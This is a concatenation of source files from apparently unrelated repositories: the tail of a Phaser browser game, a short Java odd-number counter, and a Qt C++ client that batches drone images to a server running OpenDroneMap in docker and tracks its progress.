if(this.cursors.fire.isDown && (this.fireCount == this.fireDelay)){
var bullet = new Bullet(game, this.x, this.y, 'shot', this.pType);
this.bullets.add(bullet);
this.fireCount = 0;
shotSound.play();
}
else{
return;
}
}
chancheAngleSpeed(){
if(this.playerVelocity = 150){
this.angleSpeed = 5;
}
else if(this.playerVelocity = 200){
this.angleSpeed = 40;
}
else if(this.playerVelocity = 250){
this.angleSpeed = 60;
}
else if(this.playerVelocity = 300){
this.angleSpeed = 80;
}
else if(this.playerVelocity = 350){
this.angleSpeed = 100;
}
else if(this.playerVelocity = 400){
this.angleSpeed = 120;
}
}
movePlayer(){
this.body.velocity.x = 0;
if (this.cursors.left.isDown){
this.body.velocity.x = -this.velocity;
this.angle -= this.angleSpeed;
}
else if (this.cursors.right.isDown){
this.body.velocity.x = this.velocity;
this.angle += this.angleSpeed;
}
if (this.cursors.jump.isDown && this.body.touching.down && game.time.now > this.jumpTimer){
this.body.velocity.y = -500;
this.jumpTimer = game.time.now + 750;
}
}
checkFireDelay(){
if (this.fireCount < this.fireDelay){
this.fireCount++;
}
}
destroyPlayer(){
this.bullets.destroy();
this.destroy();
}
update() {
if (this.alive){
this.playerAlive();
this.chancheAngleSpeed();
this.movePlayer();
this.fireCookies();
this.checkFireDelay();
}
else{
return;
}
}
}<file_sep>class Sugar extends Phaser.Sprite{
constructor(game, x, y, img){
super(game, x, y, img)
game.physics.enable(this, Phaser.Physics.ARCADE);
this.body.collideWorldBounds = true;
this.scale.setTo(1.2,1.2);
this.anchor.setTo(0.5,0.5);
this.turning = true;
this.lifeDelay = 600;
this.lifeDelayCount = 0;
this.body.gravity.y = -200;
game.add.existing(this);
}
killSugar(){
this.kill();
}
update(){
if(this.lifeDelayCount == this.lifeDelay){
this.killSugar();
}
if(this.turning){
this.angle += 2;
}
this.lifeDelayCount++;
}
} | abd402c522ad39d0ff34736426810a7cb39c61b8 | [
"JavaScript",
"Text"
] | 5 | JavaScript | KevinPerondi/CookiesWar | 06c92c50438a83d3bbfc04f9cd49a8228bb9c1ea | c57c6b679d3d5c0d59cb2ff09ab111106927e6ba |
refs/heads/master | <repo_name>Gunagovindasamy/GunaKoushik<file_sep>/src/org/prep/CountOfOddNumber.java
package org.prep;
public class CountOfOddNumber {
public static void main(String[] args) {
int count=0;
for (int i = 0; i <=100; i++) {
if(i%2!=0) {
count=count+1;
}
}
System.out.println(count);
}
}
<file_sep>/src/org/prep/Askdknd.java
package org.prep;
public class Askdknd {
}
| bafc3ae3249e688489aadfc4f36b0487e858298a | [
"Java"
] | 2 | Java | Gunagovindasamy/GunaKoushik | 7436f62f08a8761ca9fb72e6d8b6ef17ef2db5f0 | 8eabe6fba01a77aaa07033ed4199b4cc0d222694 |
refs/heads/master | <repo_name>meitotoro/batchODM<file_sep>/mainwindow.cpp
#include "mainwindow.h"
#include "ui_mainwindow.h"
#include "imagelistitem.h"
#include "taskmanager.h"
#include <QDialog>
#include <QString>
#include <QHBoxLayout>
#include <QVBoxLayout>
#include <QCheckBox>
#include <QLabel>
#include <QProgressBar>
#include <QTimer>
#include <QNetworkAccessManager>
#include <QMessageBox>
#include <QNetworkReply>
#include <QUrlQuery>
#include <QNetworkRequest>
#include <QMenu>
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow),netman(new QNetworkAccessManager(this))
{
ui->setupUi(this);
ui->imagelist->setStyleSheet("#imagelist::Item:hover{background-color:rgb(41, 189, 139);}\n"
"#imagelist::Item:selected{background-color:rgb(0, 148, 98);}");
ui->imagelist->setSelectionMode(QAbstractItemView::ExtendedSelection);
taskManager=new TaskManager();
Task::setNetworkManager(netman);
creatActions();
}
void MainWindow::creatActions(){
QToolBar *tb=ui->mainToolBar;
rightMenu=new QMenu();
QAction *action_add_folder=creatAction("add_New_Folder","新建",":/images/新建.png",":/images/新建-hover.png");
actions.append(action_add_folder);
connect(action_add_folder,SIGNAL(triggered()),this,SLOT(addFolderDialog()));
QAction *action_runAllinOrder=creatAction("run_inOrder","按顺序处理",":/images/顺序.png",":/images/顺序-hover.png");
actions.append(action_runAllinOrder);
QAction *action_pause_item=creatAction("action_pause_task","暂停",":/images/暂停.png",":/images/暂停-hover.png");
actions.append(action_pause_item);
rightMenu->addAction(action_pause_item);
QAction *action_start_item=creatAction("action_restart_task","开始",":/images/开始.png",":/images/开始-hover.png");
actions.append(action_start_item);
rightMenu->addAction(action_start_item);
QAction *action_delete_item=creatAction("action_delete_task","删除任务",":/images/删除.png",":/images/删除-hover.png");
actions.append(action_delete_item);
rightMenu->addAction(action_delete_item);
tb->addActions(actions);
tb->widgetForAction(action_add_folder)->setObjectName(action_add_folder->objectName());
tb->widgetForAction(action_runAllinOrder)->setObjectName(action_runAllinOrder->objectName());
tb->widgetForAction(action_delete_item)->setObjectName(action_delete_item->objectName());
tb->widgetForAction(action_pause_item)->setObjectName(action_pause_item->objectName());
tb->widgetForAction(action_start_item)->setObjectName(action_start_item->objectName());
tb->setToolButtonStyle(Qt::ToolButtonIconOnly);
tb->setStyleSheet("#add_New_Folder:hover{"
"border: 1px solid transparent;"
"}"
"#action_delete_task:hover{"
"border: 1px solid transparent;"
"}"
"#action_pause_task:hover{"
"border: 1px solid transparent;"
"}"
"#run_inOrder:hover{"
"border: 1px solid transparent;"
"}"
"#action_restart_task:hover{"
"border: 1px solid transparent;"
"}"
);
setDeleteActionStatus(action_delete_item);
setStartActionStatus(action_start_item);
setPauseActionStatus(action_pause_item);
connect(action_pause_item,&QAction::triggered,this,[=](){
action_pause_item->setEnabled(false);
action_start_item->setEnabled(true);
});
connect(ui->imagelist, SIGNAL(customContextMenuRequested(QPoint)),this, SLOT(slotLocalTestViewContextMenu(QPoint)));
}
QAction* MainWindow::creatAction(QString objectName,QString text,QString pixmap_fileName,QString pixmap_hover_fileName){
QAction *action=new QAction(this);
action->setObjectName(objectName);
action->setText(text);
QPixmap* pixmap_normal=new QPixmap(pixmap_fileName);
QPixmap* pixmap_active=new QPixmap(pixmap_hover_fileName);
QIcon* icon=new QIcon();
icon->addPixmap(*pixmap_normal,QIcon::Normal);
icon->addPixmap(*pixmap_active,QIcon::Active);
action->setIcon(*icon);
return action;
}
void MainWindow::setStartActionStatus(QAction* startAction){
startAction->setEnabled(false);
connect(ui->imagelist,&QListWidget::itemSelectionChanged,[=](){
QList<QListWidgetItem *> selected=ui->imagelist->selectedItems();
if(selected.size()>0){
int count=0;
for(int i=0;i<imageList.size();i++){
if(taskManager->getDockerStatus(i)){
count++;
}
}
if(count==imageList.size()){
startAction->setEnabled(false);
}else{
startAction->setEnabled(true);
}
}else{
startAction->setEnabled(false);
}
});
}
void MainWindow::setDeleteActionStatus(QAction* deleteAction){
deleteAction->setEnabled(false);
connect(ui->imagelist,&QListWidget::itemSelectionChanged,[=](){
QList<QListWidgetItem *> selected=ui->imagelist->selectedItems();
if(selected.size()>0){
deleteAction->setEnabled(true);
}else{
deleteAction->setEnabled(false);
}
});
}
void MainWindow::setPauseActionStatus(QAction* pauseAction){
pauseAction->setEnabled(false);
connect(ui->imagelist,&QListWidget::itemSelectionChanged,[=](){
QList<QListWidgetItem *> selected=ui->imagelist->selectedItems();
if(selected.size()>0){
int count=0;
for(int i=0;i<imageList.size();i++){
QListWidgetItem *item=ui->imagelist->item(i);
bool a=item->isSelected();
if(taskManager->getDockerStatus(i)){
count++;
}
}
if(count>0){
pauseAction->setEnabled(true);
}else{
pauseAction->setEnabled(false);
}
}else{
pauseAction->setEnabled(false);
}
});
}
void MainWindow::slotLocalTestViewContextMenu(const QPoint &position)
{
QModelIndex index=ui->imagelist->indexAt(position);
if(!index.isValid())
{
qDebug()<<"slotLocalTestViewContextMenu: index is not valid";
return;
}
QAction *result_action = rightMenu->exec(ui->imagelist->mapToGlobal(position));
if(result_action == actions[0])
{
result_action->setText("新建");
auto item=ui->imagelist->itemAt(position);
imageList.removeAt(index.row());
delete item;
}
if(result_action == actions[1])//action_pause_item
{
//auto item=ui->imagelist->itemAt(position);
int i=index.row();
taskManager->pauseSelected(i);
}
if(result_action==actions[2])//action_restart_item
{
//auto item=ui->imagelist->itemAt(position);
int i=index.row();
taskManager->restartSelected(i);
}
//foreach(QAction* action, actions)
// {
// action->deleteLater();
// }
return;
}
MainWindow::~MainWindow()
{
delete ui;
}
void MainWindow::addFolderDialog()
{
dialog.setModal(true);
int value=dialog.exec();
if (value == QDialog::Accepted) {
QString folder= dialog.folder;
QString folderName=dialog.folderName;
ui->imagelist->setResizeMode(QListView::Adjust);
ui->imagelist->setAutoScroll(true);
ImageListItem *itemView=new ImageListItem(folder,folderName,ui->imagelist);
imageList.append(itemView);
QListWidgetItem *imageItem = new QListWidgetItem(ui->imagelist);
imageItem->setSizeHint(QSize(0,40));
ui->imagelist->addItem(imageItem);
ui->imagelist->setItemWidget(imageItem,itemView);
QDateTime current_date_time =QDateTime::currentDateTime();
QString current_date =current_date_time.toString("yyyy.MM.dd");
QString fileName=dialog.folderName+"-"+current_date;
Task *task=new Task(dialog.fileList,dialog.folder,fileName);
qDebug()<<dialog.folder;
taskManager->addTask(task);
}
}
void MainWindow::on_cb_AllSelected_stateChanged()
{
if(ui->cb_AllSelected->isChecked()==true){
for(auto &item:imageList){
item->cb->setCheckState(Qt::Checked);
}
}else{
for(auto& item:imageList){
item->cb->setCheckState(Qt::Unchecked);
}
}
}
void MainWindow::on_ok_button_clicked()
{
httpConnectTest();
QEventLoop loop;
connect(this,&MainWindow::httpConnectSuccess,&loop,&QEventLoop::quit);
loop.exec();
for(int i=0;i<imageList.size();i++){
auto &item=imageList[i];
if(item->cb->checkState()==Qt::Checked){
taskManager->select(i);
item->pb->setValue(0);
} else {
taskManager->deselect(i);
}
}
taskManager->setParalNum(2);//一次运行两个task
connect(taskManager,SIGNAL(filesSended(int)),this,SLOT(reminder(int)));
connect(taskManager,&TaskManager::getPorgress,[=](int iFile,int progress){
auto &item=imageList[iFile];
item->pb->setValue(progress);
});
connect(taskManager,&TaskManager::fileReturned,[=](int iFile){
auto &item=imageList[iFile];
item->label->setText("文件返回成功");
});
connect(taskManager,&TaskManager::littleImage,[=](int iFile){
auto &item=imageList[iFile];
item->label->setText("输入图片太少,请重新选择图片");
});
taskManager->runSelected();
}
void MainWindow::reminder(int i){
auto &item=imageList[i];
item->label->setText("图片上传到服务器,开始拼接正射影像");
}
void MainWindow::httpConnectTest(){
QUrl url("http://192.168.188.10:9000/httpTest");
QNetworkRequest request(url);
QNetworkReply *reply=netman->get(request);
connect(reply,&QNetworkReply::finished,[=](){
QNetworkReply::NetworkError code=reply->error();
qDebug()<<reply->errorString();
if(code==QNetworkReply::ConnectionRefusedError){
QMessageBox::information(this,QString::fromUtf8("提示"),QString::fromUtf8("服务器链接不成功,请检查服务器状态"),QMessageBox::Ok);
reply->abort();
emit this->httpConnectFailed();
}
else{
emit this->httpConnectSuccess();
}
});
}
void MainWindow::on_pushButton_3_clicked()
{
taskManager->stopSelected();
for(int i=0;i<imageList.size();i++){
auto &item=imageList[i];
if(item->cb->checkState()==Qt::Checked){
item->label->setText("已取消");
item->pb->setValue(0);
}
}
}
void MainWindow::closeEvent(QCloseEvent *event)
{
//TODO: 在退出窗口之前,实现希望做的操作
taskManager->stopSelected();
}
<file_sep>/taskmanager.h
#ifndef TASKMANAGER_H
#define TASKMANAGER_H
#include <QObject>
#include "task.h"
class QNetworkAccessManager;
class TaskManager:public QObject
{
Q_OBJECT
public:
void setParalNum(int num);//设置一次并行任务个数
void addTask(Task *task);//增加任务
void runSelected();//运行选中的任务
void stopSelected();//停止运行选中的任务
int update(Task task);//更新任务,获取进度,返回进度数组
void select(int index);//task最后被选中了,返回true
void deselect(int index);//task没有被选中,返回false
void pauseSelected(int index);//暂停某个任务
void restartSelected(int index);//重新启动某个任务
bool getDockerStatus(int index);//拿到某个task的docker是否运行状态
public:
TaskManager();
signals:
void filesSended(int iFile);
void getPorgress(int iFile,int progress);
void fileReturned(int iFile);
void littleImage(int iFile);
private:
std::vector<Task*> taskList;
std::vector<bool> selected;
int _num;
//QNetworkAccessManager *_netman;
};
#endif // TASKMANAGER_H
<file_sep>/mainwindow.h
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include <QDialog>
#include <QVBoxLayout>
#include <QCloseEvent>
#include <QMenu>
#include <QString>
#include "taskdialog.h"
#include "imagelistitem.h"
#include "taskmanager.h"
#if _MSC_VER >= 1600
#pragma execution_character_set("utf-8")
#endif
class QNetworkAccessManager;
namespace Ui {
class MainWindow;
}
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
explicit MainWindow(QWidget *parent = 0);
~MainWindow();
TaskManager *taskManager;
signals:
void httpConnectFailed();
void httpConnectSuccess();
private slots:
void reminder(int i);
void slotLocalTestViewContextMenu(const QPoint &position);
private slots:
void on_cb_AllSelected_stateChanged();
void on_ok_button_clicked();
void on_pushButton_3_clicked();
void addFolderDialog();
private:
Ui::MainWindow *ui;
taskDialog dialog;
QList<ImageListItem*> imageList;
QNetworkAccessManager* netman;
QVBoxLayout *vLayout;
void httpConnectTest();
void creatActions();
void setDeleteActionStatus(QAction* deleteAction);
void setPauseActionStatus(QAction* pauseAction);
void setStartActionStatus(QAction* startAction);
QAction* creatAction(QString objectName,QString text,QString pixmap_fileName,QString pixmap_hover_fileName);
QList<QAction *> actions;
QMenu *rightMenu;
protected:
void closeEvent(QCloseEvent *event);
};
#endif // MAINWINDOW_H
<file_sep>/taskmanager.cpp
#include "taskmanager.h"
#include <QTimer>
#include <QEventLoop>
#include "task.h"
#include <QDebug>
#include <QMutex>
TaskManager::TaskManager()
{
}
void TaskManager::addTask(Task* task){
taskList.push_back(task);
selected.push_back(false);
}
void TaskManager::select(int index){
selected[index] = true;
}
void TaskManager::deselect(int index){
selected[index] = false;
}
void TaskManager::setParalNum(int num){
_num=num;
}
bool TaskManager::getDockerStatus(int index){
Task* t=taskList[index];
if(t->dockerRun){
return true;
}else{
return false;
}
}
void TaskManager::runSelected() {
std::deque<Task*> tasksToSend;
for (int i = 0; i < selected.size(); ++i) {
if (selected[i]) {
tasksToSend.push_back(taskList[i]);
tasksToSend[i]->aborted=false;
}
}
int _sent=0;
int i=-1;
auto mutex=std::make_shared<QMutex>();
while (!tasksToSend.empty()) {
QEventLoop loop;
// TODO: 等待一个任务结束(将任务结束信号连接到循环的退出函数)
if (_sent < _num) {
Task *t=tasksToSend.front();
connect(t,&Task::dockerFinished, &loop,[&](){
mutex->lock();
_sent=_sent-1;
&QEventLoop::quit;
mutex->unlock();
});
i++;
tasksToSend.pop_front();
t->sendFiles();
emit filesSended(i);
connect(t,&Task::progressUpdated,[=](int progress){
emit getPorgress(i,progress);
});
connect(t,&Task::dockerFinished,[=](){
t->get_resultFiles();
});
connect(t,&Task::fileReturned,[=](){
emit fileReturned(i);
});
connect(t,&Task::littleImage,[=](){
emit littleImage(i);
});
t->run();
++_sent;
}else{
loop.exec();
}
}
}
void TaskManager::stopSelected() {
for(int i=0;i<taskList.size();i++){
if(selected[i]){
Task *task=taskList[i];
task->stop();
}
}
}
void TaskManager::pauseSelected(int i){
if(selected[i]){
Task *task=taskList[i];
task->pause();
}
}
void TaskManager::restartSelected(int i){
if(selected[i]){
Task *task=taskList[i];
task->restart();
}
}
<file_sep>/taskdialog.h
#ifndef TASKDIALOG_H
#define TASKDIALOG_H
#include <QDialog>
#include <QString>
#include <QStringList>
class QNetworkAccessManager;
namespace Ui {
class taskDialog;
}
class taskDialog : public QDialog
{
Q_OBJECT
public:
explicit taskDialog(QWidget *parent = 0);
~taskDialog();
QString folder;
QString folderName;
QStringList fileList;
private slots:
void on_ok_button_clicked();
void on_pushButton_clicked();
void on_cancel_clicked();
private:
Ui::taskDialog *ui;
};
#endif // TASKDIALOG_H
<file_sep>/sendfiles.h
#ifndef SENDFILES_H
#define SENDFILES_H
#include <deque>
#include <QObject>
#include <QString>
class QNetworkAccessManager;
class QStringList;
class SendFiles : public QObject
{
Q_OBJECT
public:
SendFiles(QNetworkAccessManager* netman,QStringList& list, QString& batchName);
void send(QNetworkAccessManager* netman);
void stop(QNetworkAccessManager* netman);
private:
void sendAll(QNetworkAccessManager* netman);
void sendFile(QNetworkAccessManager* netman, QString& name);
void deleteImage(QNetworkAccessManager *netman);
void waitForAllFinished();
signals:
void allFinished();
private:
QString _batchName;
std::deque<QString> _filesToSend; // 待发送的文件队列
size_t _filesOnAir = 0; // 尚未传输完成的文件数量
};
#endif // SENDFILES_H
<file_sep>/task.h
#ifndef TASK_H
#define TASK_H
#include <QObject>
#include "sendfiles.h"
#include <QTimer>
#include "docker.h"
class QNetworkAccessManager;
class QStringList;
class Task:public QObject
{
Q_OBJECT
public:
explicit Task(QStringList& list, QString folder,QString& batchName);
void sendFiles();//调用sendfiles
void run();//调用docker的run
void stop();//调用docker的stop
void pause();//调用docker的pause
void restart();//调用docker的restart
// void getProgress();//调用docker的getProgress
static void setNetworkManager(QNetworkAccessManager* netman);
void get_resultFiles();
bool dockerRun;
bool aborted;
signals:
void dockerFinished();
void progressUpdated(int progress);
void fileReturned();
void littleImage();
public slots:
private:
QString _batchName;
QString _folder;
QStringList _list;
static QNetworkAccessManager* _netman;
QTimer *timer;
Docker* docker;
int preProgress;
int curProgress;
SendFiles *files;
};
#endif // TASK_H
<file_sep>/sendfiles.cpp
#include "sendfiles.h"
#include <QApplication>
#include <QEventLoop>
#include <QFileInfo>
#include <QMessageBox>
#include <QNetworkRequest>
#include <QNetworkReply>
#include <QNetworkAccessManager>
#include <QUrl>
#include <QUrlQuery>
SendFiles::SendFiles(QNetworkAccessManager* netman,QStringList &list, QString &batchName) :
_batchName(batchName)
{
// 将所有文件加入待发送队列
for (auto& filename : list) {
_filesToSend.push_back(filename);
}
//删除服务器上同名文件夹里的images
deleteImage(netman);
}
void SendFiles::send(QNetworkAccessManager *netman) {
// 算法说明:
// 0. 初始情况:所有文件都在待发送队列中
// 1. 如果队列非空,则将队列中的所有文件发送出去;如果已经为空则全部发送完成,结束
// 2. 等待所有文件传输完成或异常终止,所有未完成的文件会重新加入队列
// 3. 返回1.重新执行
int i=0;
while (!_filesToSend.empty()) {
// 队列中还有待发送的文件,全部发送并等待连接完成
// 没发送完的文件会重新进入队列(在回调函数中处理)
i++;
QString print = "第" + QString::number(i)+ "次循环";
qDebug()<<print;
sendAll(netman);
waitForAllFinished();
}
}
void SendFiles::stop(QNetworkAccessManager *netman){
// 将待发送队列清空
_filesToSend.clear();
_filesOnAir=-1;
}
void SendFiles::deleteImage(QNetworkAccessManager *netman){
QUrlQuery params;
params.addQueryItem("folder", _batchName);
QUrl url("http://192.168.188.10:9000/delteImage?"+params.query());
QNetworkRequest request(url);
QNetworkReply* reply = netman->get(request);
connect(reply, &QNetworkReply::finished, [=]() {
QByteArray rep = reply->readAll();
qDebug()<<QString::fromUtf8(rep);
reply->deleteLater();
});
}
void SendFiles::sendAll(QNetworkAccessManager *netman)
{
// 设置待传输文件的数量
_filesOnAir = _filesToSend.size();
for(auto& item : _filesToSend) { qDebug() << item; }
// 发送所有文件
while (!_filesToSend.empty()) {
// 取队列中的第一个,将其移出队列并发送
auto file_path = _filesToSend.front();
_filesToSend.pop_front();
sendFile(netman, file_path);
}
}
void SendFiles::sendFile(QNetworkAccessManager* netman, QString &file_path)
{
QFileInfo info = QFileInfo(file_path);
QString file_name = info.fileName();
// 初始化请求
QUrlQuery params;
params.addQueryItem("folder", _batchName);
params.addQueryItem("name", file_name);
QUrl url("http://192.168.188.10:9000/transformap?"+params.query());
QNetworkRequest request(url);
request.setHeader(QNetworkRequest::ContentTypeHeader, QVariant("image/jpeg"));
// 读文件内容
QFile file(file_path);
file.open(QIODevice::ReadOnly);
QByteArray ba = file.readAll();
file.close();
// 将文件内容通过请求发送
QNetworkReply* reply = netman->post(request, ba);
connect(reply, &QNetworkReply::finished, [=]() {
auto code = reply->error();
if(code != QNetworkReply::NoError) {
// 出现错误,将文件重新加入队列
qDebug()<< "error: " << code;
qDebug()<<reply->errorString();
qDebug()<<reply->attribute( QNetworkRequest::HttpStatusCodeAttribute).toInt();
reply->abort();
_filesToSend.push_back(file_path);
}
QByteArray rep = reply->readAll();
qDebug()<<QString::fromUtf8(rep);
--_filesOnAir;
if (_filesOnAir == 0) {
qDebug() << "Sending file finished! ";
emit allFinished();
}
reply->deleteLater();
});
}
void SendFiles::waitForAllFinished()
{
// 在收到 allFinished 信号前等待,保持在函数里不返回
// 参考:https://rohieb.wordpress.com/2010/07/08/qt-nearly-synchronous-qnetworkaccessmanager-calls/
QEventLoop loop;
connect(this, &SendFiles::allFinished, &loop, &QEventLoop::quit);
loop.exec();
}
<file_sep>/imagelistitem.h
#ifndef IMAGELISTITEM_H
#define IMAGELISTITEM_H
#include <QWidget>
#include "QCheckBox"
#include "QProgressBar"
#include "QLabel"
namespace Ui {
class ImageListItem;
}
class ImageListItem : public QWidget
{
Q_OBJECT
public:
explicit ImageListItem(QString folder,QString folderName,QWidget *parent = 0);
QCheckBox* cb;
QProgressBar* pb;
QLabel* label;
~ImageListItem();
private:
Ui::ImageListItem *ui;
};
#endif // IMAGELISTITEM_H
<file_sep>/task.cpp
#include "task.h"
#include "sendfiles.h"
#include "docker.h"
#include <QTimer>
#include <QNetworkAccessManager>
#include <QMessageBox>
#include <QNetworkReply>
#include <QNetworkRequest>
#include <QDir>
#include <QFile>
#include <QUrlQuery>
Task::Task(QStringList& list, QString folder, QString& batchName) :
_list(list),_folder(folder),_batchName(batchName),dockerRun(false),aborted(false),files(nullptr)
{
timer=new QTimer();
docker=new Docker(_batchName);
}
void Task::sendFiles(){
files=new SendFiles(_netman,_list,_batchName);
files->send(_netman);
}
void Task::run() {
if(aborted){
aborted=false;
return;
}
// 执行docker
docker->run(_netman);
// 1. 定时更新状态 timer
curProgress=0;
connect(timer,&QTimer::timeout,[=](){
docker->get_progress(_netman,0,110);
preProgress=curProgress;
//qDebug()<<_batchName+" preProgress: "+QString::number(preProgress);
curProgress=docker->get_curProgress();
//qDebug()<<_batchName+" curProgress: "+QString::number(curProgress);
if(curProgress>preProgress){
emit progressUpdated(curProgress);
}
});
connect(docker,&Docker::dockerRun,[=](){
timer->start(2000);
dockerRun=true;
});
//2.文件太少是弹出提示,断开连接
connect(docker,&Docker::littleImage,[=](){
timer->disconnect();
dockerRun=false;
emit littleImage();
});
// 3. 完成时停止更新状态 connect
connect(docker,&Docker::resultReady,[=](){
emit dockerFinished();
emit progressUpdated(110);
timer->stop();
timer->disconnect();
});
//4.收到dockerStop命令,停止更新progress状态
connect(docker,&Docker::dockerStop,[=](){
timer->stop();
timer->disconnect();
});
}
void Task::stop(){
if(dockerRun){
docker->stop(_netman);
connect(docker,&Docker::dockerStop,[=](){
dockerRun=false;
});
}else{
aborted=true;
if(files){
files->stop(_netman);
}
}
}
void Task::pause(){
if(dockerRun){
docker->pause(_netman);
connect(docker,&Docker::dockerPause,[=](){
dockerRun=false;
});
}else{
aborted=true;
if(files){
files->stop(_netman);
}
}
}
void Task::restart(){
if(!dockerRun){
docker->restart(_netman);
connect(docker,&Docker::dockerRestart,[=](){
dockerRun=true;
});
}
}
void Task::get_resultFiles(){
QString path =_folder+"/results.zip";
QDir dir(_folder);
if(!dir.exists(path))
{
dir.mkpath(_folder);
qDebug()<<"directory now exists";
}
auto file = std::make_shared<QFile>(path);
//QFile *file1=new QFile(path);
file->open(QIODevice::ReadWrite);
QUrlQuery params;
params.addQueryItem("folder", _batchName);
QUrl url("http://192.168.188.10:9000/orthomap?"+params.query());
QNetworkRequest request(url);
auto reply=_netman->get(request);
connect(reply, &QNetworkReply::readyRead,
[=](){
std::vector<char> buffer(4096);
qint64 bytesRead;
while ((bytesRead=reply->read(&buffer[0],buffer.size()))>0){
file->write(&buffer[0],bytesRead);
}
});
connect(reply, &QNetworkReply::finished,
[=](){
file->close();
reply->deleteLater();
emit fileReturned();
});
}
void Task::setNetworkManager(QNetworkAccessManager* netman){
_netman=netman;
}
QNetworkAccessManager *Task::_netman=nullptr;
<file_sep>/docker.h
#ifndef DOCKER_H
#define DOCKER_H
#include <QObject>
#include <QString>
class QNetworkAccessManager;
class Docker:public QObject
{
Q_OBJECT
public:
Docker(QString &batchName);
~Docker();
void run(QNetworkAccessManager* netman);
void stop(QNetworkAccessManager *netman);
void pause(QNetworkAccessManager *netman);
void restart(QNetworkAccessManager *netman);
void get_progress(QNetworkAccessManager *netman,int min_progress,int max_progress);
int get_curProgress();//返回当前的进度值
signals:
void dockerRun();
void resultReady();
void littleImage();
void dockerStop();
void dockerPause();
void dockerRestart();
private:
QString _batchName;
QWidget* _parent;
int _curProgress=0;
void dockerCommand(QNetworkAccessManager *netman,QString cmmd);
};
#endif // DOCKER_H
<file_sep>/imagelistitem.cpp
#include "imagelistitem.h"
#include "ui_imagelistitem.h"
ImageListItem::ImageListItem(QString folder, QString folderName, QWidget *parent) :
QWidget(parent),
ui(new Ui::ImageListItem)
{
ui->setupUi(this);
ui->folder->setText(folder);
ui->folderName->setText(folderName);
cb=ui->checkBox;
pb=ui->progressBar;
label=ui->label;
ui->progressBar->setMinimum(0);
ui->progressBar->setMaximum(110);
}
ImageListItem::~ImageListItem()
{
delete ui;
}
<file_sep>/taskdialog.cpp
#include "taskdialog.h"
#include "ui_taskdialog.h"
#include <QFileInfoList>
#include <QFileDialog>
#include <QHBoxLayout>
#include <QPalette>
#include "sendfiles.h"
#include "task.h"
taskDialog::taskDialog(QWidget *parent) :
QDialog(parent),
ui(new Ui::taskDialog)
{
ui->setupUi(this);
}
taskDialog::~taskDialog()
{
delete ui;
}
void taskDialog::on_ok_button_clicked()
{
folder=ui->folder->text();
folderName=ui->folderName->text();
if(folder != "" || folderName != "") {
this->accept();
} else {
QLabel *label = ui->errorMsg;
QPalette pa;
pa.setColor(QPalette::WindowText,Qt::red);
label->setPalette(pa);
label->setText("名称不能为空");
}
}
void taskDialog::on_pushButton_clicked()
{
QString filePath = QFileDialog::getExistingDirectory(this, tr("Open Image"), "D:/",
QFileDialog::ShowDirsOnly|QFileDialog::DontResolveSymlinks);
//ui->folderName->text()=filePath;
ui->folder->setText(filePath);
QDir dir(filePath);
QStringList filters;
filters << "*.png" << "*.jpg" << "*.bmp";
QStringList list=dir.entryList(filters);
ui->imageList->clear();
ui->imageList->addItems(list);
QFileInfoList absoluteList=dir.entryInfoList(filters);
fileList.clear();
for(int i=0;i<absoluteList.size();i++){
fileList.append(absoluteList.at(i).filePath());
}
}
void taskDialog::on_cancel_clicked()
{
this->reject();
}
<file_sep>/docker.cpp
#include "Docker.h"
#include <QUrlQuery>
#include <QUrl>
#include <QNetworkRequest>
#include <QNetworkReply>
#include <QMessageBox>
#include <QDialog>
#include <QTimer>
Docker::Docker(QString &batchName):
_batchName(batchName)
{
}
void Docker::run(QNetworkAccessManager *netman)
{
QUrlQuery params;
params.addQueryItem("folder", _batchName);
QUrl url("http://192.168.188.10:9000/docker?"+params.query());
QNetworkRequest request(url);
auto reply=netman->get(request);
connect(reply, &QNetworkReply::finished,
[=](){
reply->deleteLater();
//QMessageBox::information(_parent,"提示","start run docker",QMessageBox::Ok);
emit dockerRun();
});
}
void Docker::stop(QNetworkAccessManager *netman)
{
dockerCommand(netman,"stop");
}
void Docker::pause(QNetworkAccessManager *netman)
{
dockerCommand(netman,"pause");
}
void Docker::restart(QNetworkAccessManager *netman)
{
dockerCommand(netman,"restart");
}
void Docker::dockerCommand(QNetworkAccessManager *netman,QString cmmd){
QUrlQuery params;
params.addQueryItem("folder", _batchName);
params.addQueryItem("command",cmmd);
qDebug()<<params.query();
QUrl url("http://192.168.188.10:9000/dockerCommand?"+params.query());
QNetworkRequest request(url);
auto reply=netman->get(request);
connect(reply, &QNetworkReply::finished,[=](){
QByteArray ba=reply->readAll();
QString s_data = QString::fromUtf8(ba.data());
//QMessageBox::information(this,"提示",s_data,QMessageBox::Ok);
reply->deleteLater();
if(cmmd=="stop"){
emit dockerStop();
qDebug()<<"docker stop";
}else if(cmmd=="pause"){
emit dockerPause();
qDebug()<<"docker pause";
}else if(cmmd=="restart"){
emit dockerRestart();
qDebug()<<"docker restart";
}
});
}
//获取当前的log进度,修改_curProgress值
void Docker::get_progress(QNetworkAccessManager *netman,int min_progress,int max_progress)
{
QUrlQuery params;
params.addQueryItem("folder", _batchName);
QUrl url("http://192.168.188.10:9000/progress?"+params.query());
QNetworkRequest request(url);
auto reply=netman->get(request);
connect(reply, &QNetworkReply::finished,[=](){
QByteArray ba=reply->readAll();
QString s_data = QString::fromUtf8(ba.data());
s_data=s_data.replace("\u001B[94m","");
s_data=s_data.replace("\u001B[92m","");
s_data=s_data.replace("\u001B[0m","");
s_data=s_data.replace("\u001B[0;m","");
QStringList list_data=s_data.split(QRegExp("\n|\r\n|\r"),QString::SkipEmptyParts);
if((list_data.indexOf("[WARNING] Initial residual too low: 0 < 0.000001")>=0)||(list_data.indexOf("Exception: Child returned 1")>=0)){
//QMessageBox::information(_parent,"提示","图片量太少,请重新选择图片",QMessageBox::Ok);
reply->abort();
emit littleImage();
_curProgress=0;
}else {
if(s_data!=""){
qDebug()<<s_data;
QString temp = QString::fromUtf8("running PYTHONPATH");
if(s_data.contains(temp)){
int step=(max_progress-min_progress)/11;
//qDebug()<<step;
_curProgress+=step;
}
if (list_data.indexOf("OpenDroneMap app finished")>=0){
qDebug()<<"OpenDroneMap app finished";
_curProgress=max_progress;
//QMessageBox::information(_parent,"提示","finished",QMessageBox::Ok);
emit resultReady();
}
}
}
reply->deleteLater();
});
connect(reply,static_cast<void (QNetworkReply::*)(QNetworkReply::NetworkError)>(&QNetworkReply::error),[](QNetworkReply::NetworkError code){
qDebug()<<"error:"<<code;
});
